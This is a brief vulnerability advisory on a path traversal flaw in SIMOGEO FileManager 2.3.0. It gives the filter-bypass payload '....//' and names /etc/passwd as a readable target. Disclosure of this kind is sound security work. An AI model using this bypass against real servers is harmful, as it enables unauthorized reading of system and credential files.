SIMOGEO FileManager 2.3.0 – Path Traversal Vulnerability

A path traversal vulnerability exists in SIMOGEO FileManager 2.3.0. An attacker can bypass the filtering rules by using '....//' to delete '../' and can access arbitrary files on the server. This can be exploited to read sensitive files such as /etc/passwd.
